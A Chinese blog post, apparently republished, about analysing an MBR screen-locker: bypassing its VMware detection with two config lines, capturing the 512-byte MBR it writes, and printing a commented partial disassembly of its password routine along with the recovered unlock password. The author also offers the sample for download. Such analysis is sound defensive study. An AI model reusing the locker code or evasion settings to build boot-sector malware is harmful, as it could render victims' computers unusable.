記一次MBR鎖機病毒分析


有一天,在機緣巧合之下我獲得了一個鎖機軟件(是多巧合阿喂!),然后興高采烈的把它拖入了虛擬機里蹂躪(>_<!)。

很巧,軟件有虛擬機檢測。。。

1.jpg

Emmmm好吧,隨便過一下。。。

我用的虛擬機是VMware12,網上查到了一段過檢測的代碼:

isolation.tools.setVersion.disable = "TRUE"

isolation.tools.getVersion.disable = "TRUE"

把上面兩行加到虛擬機配置文件結尾,保存然后重新打開虛擬機即可。

好了,這次程序直接運行了起來。

2.jpg

靠!連一點暗示都不給,直接重啟的嘛!這個人好壞好壞的,都不稍稍偽裝下!

幸虧做了快照備份。。趕緊還原虛擬機,下面就開始簡單分析一下這個程序的行為吧!

當然,少不了表姐的PeDoll~這時,表姐C/S的軟件架構就很好的解決了測試機重啟的問題~表白表姐~

好了,具體怎么抓的實在太簡單,這里我就不寫了,也就一個腳本的事,不耽誤大家時間了。我們只看最后。

從PeDoll里保存下來兩個512字節的數據文件,我斷定這一定是這個智障軟件寫入到MBR的內容(廢話嘛!)。其中一個很明顯是鎖機的,另一個可能是我虛擬機原始的MBR。看到這里謝天謝地。。至少這軟件知道把原來的數據保存下來,這樣就代表還原不是不可能拉!

在分析之前,我把虛擬機還原了一遍,又抓了一次數據。結果表明這丫兩次寫入的數據一模一樣!誒,都不加個隨機密碼之類的嗎!

好了,下面是這款軟件寫入到MBR的內容。

3.jpg

恩,這樣亂七八糟的是要我怎么看嘛!還好,我有nasm! 於是,我隨手從官網下載了nasm的二進制文件。就下面這貨。

4.jpg

其中我們只用到ndisasm.exe這個程序來反匯編我們的MBR文件。最后來讓我們看看結果~

5.jpg

嗯,,這回看着順眼多了。把結果保存到文件中,我們來仔細分析下吧。

00000000  E90000            jmp 0×3

00000003  8CC8              mov ax,cs

00000005  8ED8              mov ds,ax

00000007  8ED0              mov ss,ax

00000009  8EC0              mov es,ax

0000000B  BC0001            mov sp,0×100

0000000E  BDED7C            mov bp,0x7ced   ;;;提示字符串偏移

00000011  BBED7C            mov bx,0x7ced

00000014  E8B000            call 0xc7       ;;;計算字符串長度

00000017  89C1              mov cx,ax       ;;;cx=字符串長度

00000019  B80113            mov ax,0×1301

0000001C  BB0C00            mov bx,0xc      ;;;頁號0,黑底紅字

0000001F  B200              mov dl,0×0

00000021  CD10              int 0×10        ;;;打印提示字符串

00000023  B800B8            mov ax,0xb800

00000026  05A000            add ax,0xa0

00000029  8ED8              mov ds,ax       ;;; ds=0xb8a0

0000002B  31C9              xor cx,cx       ;;;初始化cx

0000002D  31DB              xor bx,bx       ;;;初始化bx

0000002F  31C0              xor ax,ax       ;;;初始化ax

00000031  CD16              int 0×16        ;;;等待輸入密碼

00000033  3C08              cmp al,0×8      ;;;退格

00000035  7413              jz 0x4a

00000037  3C0D              cmp al,0xd      ;;;回車

00000039  741B              jz 0×56

0000003B  B402              mov ah,0×2

0000003D  8807              mov [bx],al

0000003F  886701            mov [bx+0x1],ah

00000042  81C30200          add bx,0×2

00000046  41                inc cx

00000047  E9E5FF            jmp 0x2f

0000004A  81EB0200          sub bx,0×2      ;;;退格鍵按下

0000004E  49                dec cx

0000004F  31C0              xor ax,ax

00000051  8907              mov [bx],ax

00000053  E9D9FF            jmp 0x2f

00000056  8CC8              mov ax,cs       ;;;回車鍵按下

00000058  8EC0              mov es,ax

0000005A  31DB              xor bx,bx

0000005C  BEDA7C            mov si,0x7cda   ;;;密碼字符串偏移

0000005F  2E8A0ED97C        mov cl,[cs:0x7cd9]

00000064  B500              mov ch,0×0

以上參考了鏈接http://slab.qq.com/news/tech/1293.html,有興趣的可以自己去看看。

經分析,這個MBR文件跟上面鏈接中的應該是同一種,特征完全一致,我只是寫了一點注釋方便大家對照(順便學習一下匯編,嘿嘿嘿)。

最后得出密碼的十六進制是C6C6BDE2C4E3C2E8B1C6A8BAA8DEA4A2(嗯,我就不翻譯了),所以最后困擾我的就是這個密碼要怎么輸入?經研究發現有人說用ALT+小鍵盤數字來輸入,不過我沒有小鍵盤(求好心人贊助。。。),試了其他方法也沒有成功,這里希望能有大佬指教一下~

最后一個不算結束的結束吧。經(xiao)此(da)一(xiao)戰(nao)之后,我的功力又有了不小的提升。以后還是要多練練手才能不生疏阿。

此次用到的程序文件我全都打包放到了附件中點擊原文下載),感興趣的小伙伴可以下載研究,歡迎交流~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM